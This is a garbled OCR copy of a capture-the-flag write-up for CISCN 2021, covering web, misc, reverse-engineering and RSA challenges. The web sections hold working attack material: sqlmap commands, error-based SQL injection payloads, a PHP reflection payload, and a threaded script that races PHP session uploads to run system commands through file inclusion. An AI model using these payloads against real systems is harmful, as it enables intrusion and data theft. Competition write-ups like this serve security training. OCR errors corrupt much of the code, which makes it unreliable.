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easy_sql

Sglmap -r /root/wordlist/table.txt —-p uname -D security --tables

Sqlmap B # i B 7k £ (flag, user)

A HZ4
] %3k FsqimapiIpayloaduname=admin') RLIKE (SELECT (CASE WHEN (7431=7431) THEN
0x61646d696e ELSE 0x28 END))-- WQuké&passwd=admin&Submit=%E7%99%BB%$E5%BD%95

ﬂ%ﬂipaﬂoadAdmin’)Ilupdatexml(l,((select * from (select * from flag as a join flag
as b ) as ¢ limit 1,1)),1)%23

BHFE—FidAdmin’ ) | |lupdatexml (1, ((select * from (select * from flag as a join
flag as b using(id)) as c¢ limit 1,1)),1)%23

B E A FInoadmin’ ) | |lupdatexml (1, ((select * from (select * from flag as a join
flag as b using(id, no)) as c limit 1,1)),1)%23
BHESE—FfecT74227-42d6-4636-a0d4-92f8a913vFd6

& JE & i) Hiflag

easy_source

AL F).index.php.swo, 78 Findex.phpiEil .
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<?php
class User

{

private static $c = 0;

function a()

{

return ++self::$c;
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function b()

{

return ++self:
}
function c()
{

return ++self:
}
function d()
{

return ++self:
}
function e()
{

return ++self:
}
function f()
{

return ++self:
}
function g()
{

return ++self:
}
function h()
{

return ++self:
}
function i()
{

return ++self:
}
function j()
{

return ++self:
}
function k()
{

return ++self:
}
function 1()
{

return ++self:
}

function m()

{

:$c;

:$c;

:$c;

:$c;

:$c;

:$c;

:$c;

:$c;

:$c;

:$c;

:$c;



return ++selt::»C;

}
function n()
{

return ++self::$c;
}
function o()
{

return ++self::$c;
}
function p()
{

return ++self::%c;
}
function q()
{

return ++self::%c;
}
function r()
{

return ++self::%c;
}
function s()
{

return ++self::%c;
}
function t()
{

return ++self::$c;
}

}

$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];

$method= new $rc($ra, $rb);
var_dump($method->$rd());

#1i&ReflectionMethod 2 i Fia-t 77 ¥£ 1)3E ¥, payload: ?
ra=Useré&rb=a&rc=ReflectionMethod&rd=getDocCommento
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import brotli

def extract(file_name):
out = open(file_name +
out.write(brotli.decompress(open(file_name, "rb").read()))

_extracted", "wb")

out.close()

if __name__ == '__main__":

extract("secret")
extract("test")

testy—/ protoxcff, HWEN:

syntax = "proto3";

message PBResponse {
int32 code = 1;

int64 flag part_convert_to_hex_plz = 2;
message data {
string junk_data = 2;
string flag part = 1;
}
repeated data datalist = 3;
int32 flag_part_plz_convert_to_hex = 4;

string flag last_part = 5;

message PBRequest {
string cate_id = 1;
int32 page = 2;
int32 pageSize = 3;

¥ MsecretyPBResponse Message, 1 i protocf#iy

$ protoc --decode=PBResponse ./test_extracted < ./secret_extracted
code: 200
flag _part_convert_to_hex_plz: 15100450
datalList {

flag part: "e2345"

junk_data: "7af2c"
}
datalList {

flag part: "7889b0"

junk_data: "82bceo"
}
flag_part_plz_convert_to_hex: 16453958
flag_last_part: "d172a38dc"
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ex: e9e9e9

OK

B 51 5 frgb(247,247 247 FARIE, HEREAEERS .
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from PIL import Image
import time

out = Image.new("L", (400,400), 255)

for i in range(1,383):
img = Image.open(f"{i}.png").convert("RGB")
for x in range(img.size[0]):
for y in range(img.size[1]):
p = img.getpixel((x,y))
if p == (233,233,233):
print(i,x,y)
out.putpixel((y,x), 0)
out.save(f"out{i}.png")

out.save(f"out{i+1}.png")
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%

WEB

middle_source
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import time
import requests
import threading

import io

target = "http://124.71.231.151:25908/"

session_id = "bellwind"

payload = {
"cf": "../../../var/lib/php/sessions/eacadbajad/sess_{}".format(session_id),
"field": "?2?2?2",

}

event = threading.Event()

def write(session: requests.Session):
file = io.BytesIO(b'A'*1024*5)
while True:
event.wait()
response = session.post(
target,
data={
"PHP_SESSION UPLOAD_PROGRESS": "<?php system('ls /etc > 1.txt');?>"
Ts
cookies={
"PHPSESSID": session_id
s
files={
"file": ("verysafe.jpg", file)

)

print(response.text)

def read(session: requests.Session):
while True:

event.wait()

response = session.post(
target,
data=payload,
cookies={

"PHPSESSID": session_id

Ts

)

print(response.text)

if _name__ == '_main__':
sess = requests.session()
for _ in range(20):

threading.Thread(target=write, args=(sess,)).start()
for _ in range(20):

threading.Thread(target=read, args=(sess,)).start()
event.set()
while event.isSet():

time.sleep(1)

print("waiting.")
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package main

import (
"encoding/hex"
"fmt"
"github.com/xlab/at/sms"
"io/ioutil"
"sort"
"strings"
"time"

func main() {
data, _ := ioutil.ReadFile("data.txt")
s := string(data)
sl := strings.Split(s, "\r\n")[4:]
var result []*sms.Message
for _, s := range sl {
if r := decode(s); r != nil {
result = append(result, r)
}
}

sorter := messageSorter(result)
sort.Sort(sorter)

fipa = ""

for _, s := range sorter {
fina += s.Text

}

fmt.Println(fina)

}

func decode(msg string) *sms.Message {
bs, _ := hex.DecodeString(msg)
m := new(sms.Message)
_, err := m.ReadFrom(bs)
if err != nil {
return nil

}

return m

}

type messageSorter []*sms.Message

func (m messageSorter) Len() int {
return len(m)

}

func (m messageSorter) Less(i, j int) bool {
ms := []*sms.Message(m)
return time.Time(ms[i].ServiceCenterTime).Before(time.Time(ms[j].ServiceCenterTime))

}

func (m messageSorter) Swap(i, j int) {
m[i], m[3] = m[3], m[i]
}
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int _ cdecl main(int argc, const char **argv, const char **envp)
{

unsigned __int64 v4; // [rsp+8h] [rbp-20h]

unsigned _ int64 i; // [rsp+1@h] [rbp-18h]

size t v6; // [rsp+18h] [rbp-10h]

__isoc99_scanf(&unk_403004, input, envp);

if ( (unsigned int)strlen(input) == 25 ) // KER25
{
if ( input[e] ) VUAE:E N
{
if ( (unsigned __int8)(input[@] - 48) > 5u )
return 0;

v6 = strlen(input);
for (i = 1LL; ; ++i )

{
v4d = i;
if (1i>=ve) // BHFRFEKE
break;
if ( (unsigned __int8)(input[v4] - 48) > 5u )
return 0;
}

}
if ( (fill_number(input) & 1) != @ && (docheck() & 1) != 90 )
printf("CISCN{MD5(%s)}", input);
}

return 0;

}

AR BN AR EERE2MTIIERHFMIL111 numberMdocheck B, AJEHEHIH R
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fill_number:

__inte4 __fastcall fill _number(__int64 al)
{
char v2; // [rsp+1lh] [rbp-69h]
char v3; // [rsp+11h] [rbp-59h]
char v4; // [rsp+21h] [rbp-49h]
char v5; // [rsp+31h] [rbp-39h]
char v6; // [rsp+40h] [rbp-2Ah]
char v7; // [rsp+41h] [rbp-29h]
__inte4 v8; // [rsp+4Ah] [rbp-20h]
__inte4 v9; // [rsp+52h] [rbp-18h]
__int64 v10; // [rsp+5Ah] [rbp-10h]

w1 — Dol



ViU — wLL,

do
{
v9 = v10;
v8 = 5 * v10;
v7 = *(_BYTE *)(al + 5 * v10);
if ( map[5 * vie] )

V6 = 0;
if (v7 1= 48 )
return v6 & 1;
}
else
{
map[5 * v10] = v7 - 48;
}
v5 = *(_BYTE *)(al + v8 + 1);
if ( map[5 * vie + 1] )
{
V6 = 0;
if ( v5 !=48)
return v6 & 1;
}
else
{
map[5 * v10 + 1] = v5 - 48;
}
v4 = *(_BYTE *)(al + v8 + 2);
if ( map[5 * vie + 2] )
{
v6 = 0;
if (v4 1= 48 )
return v6 & 1;
}
else
{
map[5 * v10 + 2] = v4 - 48;
}
v3 = *(_BYTE *)(al + v8 + 3);
if ( map[5 * vie + 3] )
{
V6 = 0;
if (v3 1=48)
return v6 & 1;
}
else
{
map[5 * v1e + 3] = v3 - 48;
}
v2 = *(_BYTE *)(al + v8 + 4);
if ( map[5 * vie + 4] )
{
V6 = 0;
if (v2 1=48)
return v6 & 1;
}

else

{
map[5 * v10 + 4] = v2 - 48;



++v10;

v = 1;
¥
while ( v9 + 1 < 5 );
return v6 & 1;

fill_numberf) = 2288 RSN S BB UG, %4 € MERES S RERKE48, HRHTEERAS WAL
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__int64 docheck()

{
char v1; // [rsp+2Eh] [rbp-9Ah]
__inteé4 v2; // [rsp+30h] [rbp-98h]
__inteé4 v3; // [rsp+40h] [rbp-88h]
__inteé4 v4; // [rsp+50h] [rbp-78h]
__inteé4 v5; // [rsp+58h] [rbp-706h]
char *v6; // [rsp+68h] [rbp-60h]
__inte4 v7; // [rsp+70h] [rbp-58h]
char v8; // [rsp+7Fh] [rbp-49h]
char *v9; // [rsp+88h] [rbp-46h]
__inté64 vi10; // [rsp+96h] [rbp-38h]
__inté64 vi1; // [rsp+98h] [rbp-306h]
__int64 v12; // [rsp+A8h] [rbp-26h]
char v13[6]; // [rsp+BCh] [rbp-Ch] BYREF
char v14[6]; // [rsp+C2h] [rbp-6h] BYREF

vl2 = OLL;
do
{

v1e = v12;

memset(vl4, 0, sizeof(vl4d));

v9 = &v14[(unsigned __ int8)map[5 * v12]];

if ( *vo
|| (*v9 = 1, vi4[(unsigned __int8)map[5 * vi2 + 1]])
|| (vi4a[(unsigned __int8)map[5 * v12 + 1]] = 1, v14[(unsigned __ int8)map[5 * vi2 + 2]])
|| (vi4[(unsigned __int8)map[5 * v12 + 2]] = 1, v14[(unsigned __ int8)map[5 * vi2 + 3]])
|| (vi4a[(unsigned __int8)map[5 * v12 + 3]] = 1, v14[(unsigned _ int8)map[5 * v12 + 4]]) )

v8 = 0;
return v8 & 1;

}

++v12;
}
while ( vi@ + 1 < 5 );
vll = OLL;
while ( 1)
{
v7 = vll;
memset(vl3, @, sizeof(v13));
v6 = &v13[(unsigned __int8)map[vil]];
if ( *v6 )
break;
*ve = 1;
if ( vi3[(unsigned __int8)byte_405055[v11]] )
break;
v13[(unsigned __int8)byte_405055[v11]] = 1;
if ( v13[(unsigned int8)byte 40505A[v111] )



break;
v13[(unsigned __int8)byte 40505A[v11]] = 1;
if ( v13[(unsigned __int8)byte_ 40505F[v11]] )
break;
v13[(unsigned __int8)byte 40505F[v11]] = 1;
if ( vi13[(unsigned __int8)byte_405064[v11]] )
break;
++v1l;
if (v7 +1>=5)
{
v5 = OLL;
while ( 1)
{
v4 = v5;
if ( row[4 * v5] == 1)
{
if ( (unsigned __int8)map[5 * v5] < (unsigned __ int8)map[5 * v5 + 1] )
goto LABEL_27;
}
else if ( row[4 * v5] == 2 & (unsigned __int8)map[5 * v5] > (unsigned __ int8)map[5 * v5 + 1] )
{
LABEL_27:
v8 = 0;
return v8 & 1;
}
if ( byte 405071[4 * v5] == 1 )
{
if ( (unsigned __int8)map[5 * v5 + 1] < (unsigned __int8)map[5 * v5 + 2] )
goto LABEL_27;
}
else if ( byte_405071[4 * v5] == 2 & (unsigned __ int8)map[5 * v5 + 1] > (unsigned __int8)map[5 * v
{
goto LABEL_27;
}
if ( byte_405072[4 * v5] == 1)
{
if ( (unsigned __int8)map[5 * v5 + 2] < (unsigned __int8)map[5 * v5 + 3] )
goto LABEL_27;
}
else if ( byte_405072[4 * v5] == 2 && (unsigned __int8)map[5 * v5 + 2] > (unsigned __int8)map[5 * v
{
goto LABEL_27;
}
if ( byte 405073[4 * v5] == 1 )
{
if ( (unsigned __int8)map[5 * v5 + 3] < (unsigned __int8)map[5 * v5 + 4] )
goto LABEL_27;
}
else if ( byte_405073[4 * v5] == 2 & (unsigned __int8)map[5 * v5 + 3] > (unsigned __int8)map[5 * v
{
goto LABEL_27;
}
++Vv5;
if (v4+1>=5)
{
v3 = OLL;
while ( 1)
{

v2 = v3 + 1;



LABEL_26:

if ( col[5 * v3] ==1)
{
vl = 0;
if ( (unsigned __int8)map[5
goto LABEL_26;

}
else if ( col[5 * v3] == 2 )
{

vl = 0;

if ( (unsigned __int8)map[5
{

v8 = vl;
return v8 & 1;

}
if ( byte_405091[5 * v3] == 1
{
vl = 0;
if ( (unsigned __int8)map[5
goto LABEL_26;

}
else if ( byte_405091[5 * v3]
{

vl = 0;

if ( (unsigned __int8)map[5
goto LABEL_26;

}
if ( byte_405092[5 * v3] == 1
{

vl = 0;

if ( (unsigned __int8)map[5
goto LABEL_26;

}
else if ( byte_405092[5 * v3]
{

vl = 0;

if ( (unsigned __int8)map[5
goto LABEL_26;

}
if ( byte_405093[5 * v3] ==
{

vl = 0;

if ( (unsigned __int8)map[5
goto LABEL_26;

}
else if ( byte_405093[5 * v3]
{

vl = 0;

if ( (unsigned __int8)map[5
goto LABEL_26;

}
if ( byte_405094[5 * v3] == 1
{

vl = 0;

if ( (unsigned __int8)map[5
goto LABEL_26;
}

else if ( byte_405094[5 * v3] =

{

* v3] > (unsigned __int8)map[5 * v2] )

* v3] < (unsigned __int8)map[5 * v2] )
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* v3
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__int8)map[5

__int8)map[5

__int8)map[5
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v2

v2
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vl = 0Q;
if ( (unsigned __int8)map[5 * v3 + 4] < (unsigned __int8)map[5 * v2 + 4] )
goto LABEL_26;
¥
++Vv3;
vl = 1;
if (v2>=4)
goto LABEL_26;

v8 = 0;
return v8 & 1;

X BLE S Ui Hmt 2 IX AME F goto LABELSEERKI (N N IAA & forfB 3 ifS5 I HiER), HREFERE —IMRLT
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import hashlib
from z3 import *

zy=[0x00, Ox00, 0x00, Ox01,0x01, 0x00, Ox00, Ox00,0x02, Ox00, Ox00, Ox01,0x00, Ox00, Ox00, 0x00,0x01, Ox00,
sx=[0x00, Ox00, 0x02, Ox00,0x02,0x00, Ox00, Ox00,0x00, Ox00,0x00, 0x00,0x00, Ox01, 0x00,0x00, 0x01, 0x00, 0
ts = Solver()

map = [BitVec('s%d' % i, 4) for i in range(25)]

ts.add(map[5*2+2] == 4)

ts.add(map[5*3+3] == 3)

for i in map:
ts.add(i > 9)
ts.add(i <= 5)

for a in range(5):
ts.add(

And(map[5 * a] != map[5 * a + 1],
map[5 * a] != map[5 * a + 2],
map[5 * a] != map[5 * a + 3],
map[5 * a] != map[5 * a + 4],
map[5 * a + 1] != map[5 * a + 2],
map[5 * a + 1] != map[5 * a + 3],
map[5 * a + 1] != map[5 * a + 4],
map[5 * a + 2] != map[5 * a + 3],
map[5 * a + 2] != map[5 * a + 4],
map[5 * a + 3] != map[5 * a + 4]))

for b in range(5):

ts.add(

And(map[5 * @ + b] != map[5 * 1 + b],
map[5 * @ + b] != map[5 * 2 + b],
map[5 * @ + b] != map[5 * 3 + b],
map[5 * @ + b] != map[5 * 4 + b],
map[5 * 1 + b] != map[5 * 2 + b],
map[5 * 1 + b] != map[5 * 3 + b],
map[5 * 1 + b] != map[5 * 4 + b],
map[5 * 2 + b] != map[5 * 3 + b],
map[5 * 2 + b] != map[5 * 4 + b],

3 + b] !'= map[5 * 4 + b]

map[5 *



))
for b in range(4):
for y in range(5):
ts.add(map[5 * b + y] != map[5 * (b + 1) + y])
for a in range(5):
for x in range(4):
if zy[4 * a + x]==1:
ts.add(map[5 * a + x] > map[5 * a + x + 1])
elif zy[4 * a + x] == 2:
ts.add(map[5 * a + x] < map[5 * a + x + 1])
for b in range(4):
for y in range(5):
if sx[5 * b + y]==1:
ts.add(map[5 * b + y] < map[5 * (b + 1) + y])
elif sx[5 * b + y] == 2 :
ts.add(map[5 * b + y] > map[5 * (b + 1) + y])
print()
while ts.check() == sat:
answer = ts.model()
condition = []
p=1[]
for i in map:
p += [answer[i]]
condition.append(i != answer[i])
p[5 *2 + 2] =90
p[5 * 3 + 3] =290
ts.add(Or(condition))

p=[1, 4, 2, 5, 3, 5, 3, 1, 4, 2, 3, 5,0, 2, 1, 2, 1, 5, 0, 4, 4, 2, 3, 1, 5]
1=t
for i in p:
l+=str(i)
md = hashlib.md5()
md.update(l.encode())
print('CISCN{'+md.hexdigest()+'}")

B=F
MISC
robot
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import re
from PIL import Image

a = re.compile(r'value\.\[(\d+), (\d+), (\d+)\]")
with open('a','r') as f:
data = f.read()
datal = a.findall(data)
print(datal)
img = Image.new('RGB', (456, 456))
for i in datal:
tmp = (int(i[@]), int(i[1]))
img.putpixel(tmp, 255)
img.save("b.png")
R3lflageasy robo xx, XHBATMISINE Z GBEIRCISCN{dAf1fb80bc11££d722861367747c0£10}
CRYPTO
RSA

& pAiqg

0xal88aaaf75c7921946210ba90b68cb6e0694b113c89b800613a54f6374bbcOd91fb83b15866d93fd74019ele541edce6cO6CO

>
1}

p oxda5fl4bacd97f5504f39eeef22af37e8551700296843e536760cea’761d334508003e01b886c0c600000000000000000000000
k = 200
PR.<x> = PolynomialRing(Zmod(n))

S=X+p
x0 = s.small_roots(X=2"k, beta=0.4)[0]
p = p+x0

print("p: ", hex(int(p)))

q = n/int(p)

print("q: ", hex(int(q)))

fi# % msg

import hashlib

import gmpy2

from Crypto.Util.number import long_to_bytes,bytes_to_long,getPrime
from gmpy2 import *

XX
yy

n
N ©

text = []

ml = bytes_to_long(text[:xx])
m2 = bytes_to_long(text[xx:yy])
m3 = bytes_to_long(text[yy:])

el = 3
pl = getPrime(512)
al = getPrime(512)



N1 = pl*ql
print pow(ml,el,N1)
print (el,N1)

p2 = getPrime(512)
e2 = 17

e3 = 65537

g2 = getPrime(512)
N2 = p2*qg2

print (e2,N2)
print (e3,N2)
print pow(m2,e2,N2)
print pow(m2,e3,N2)

p3 = getPrime(512)
g3 = getPrime(512)
N3 = p3*g3

print pow(m3,e3,N3)
print p3>>200
print (e3,N3)

n = 1238144703945505983632805188489145469381377310267779758858467336724944939757030697600538674718362494732
el = 191057652855106675533138988134982202124211775276471878025499139142639689454931446333906706051162510645

ml wn
m2 wn

m3 =

for j in range(@, 130000000):

a, b = gmpy2.iroot(el + j * n, 3)

if b == 1:
m=a
print('x is {:x}'.format(m))
print("flag is {}".format(long_to_bytes(m)))
ml = long_to_bytes(m)
break

n2 = 111381961169589927896512557754289420474877632607334685306667977794938824018345795836303161492076539375
el = 17
e2 = 65537

wn
I

gcdext(el, e2)

sl = s[1]

s2 = -s[2]

€2 = 912909352674583565419593273812200674661048904553911039896398228557537978053541397419599579519839431461
cl = 549957513872587987918954132161722846534070540797657697041707630238301309814802729433384452456892937293
c2 = invert(c2, n2)

m

(pow(cl,s1,n2) * pow(c2 , s2 , n2)) % n2
m2 = long_to_bytes(m)

p3 114370387635810102631164939837335460144033438592180037075127967069288808480352399907404283340911064439
q3 991803319896387979836232950763725670601056296248732974240093319272154930708733248210738155436853899577
enc3 = 5921369644237376589594870261165975677981389765302208090563554563690543403830646893528396268605903746



e3
n3

65537
113432930155033263769270712825121761080813952100666693606866355917116416984149165507231925180593860836

ph3 = (p3-1)*(q3-1)

d3 = gmpy2.invert(e3,ph3)
m3 = pow(enc3,d3,n3)

m3 = long_to_bytes(m3)

message = ml + m2 + m3

md5 = hashlib.md5()
md5.update(message)
print md5.hexdigest()



	CISCN2021-第十四届全国大学生信息安全竞赛-WriteUp
	WriteUp - Maple_root -CISCN2021
	总结
	开卷
	WEB
	easy_sql
	easy_source

	MISC
	tiny_traffic
	running_pixel


	第二卷
	WEB
	middle_source

	MISC
	隔空传话

	RE
	baby_bc


	第三卷
	MISC
	robot

	CRYPTO
	RSA




